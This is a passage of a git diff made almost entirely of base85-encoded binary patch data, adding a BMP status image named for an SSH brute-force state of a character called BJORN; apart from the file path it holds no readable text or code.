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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce1.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..378babe74387fedc1ec45ec6fec4d4f296a7d7e0 GIT binary patch literal 18462 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 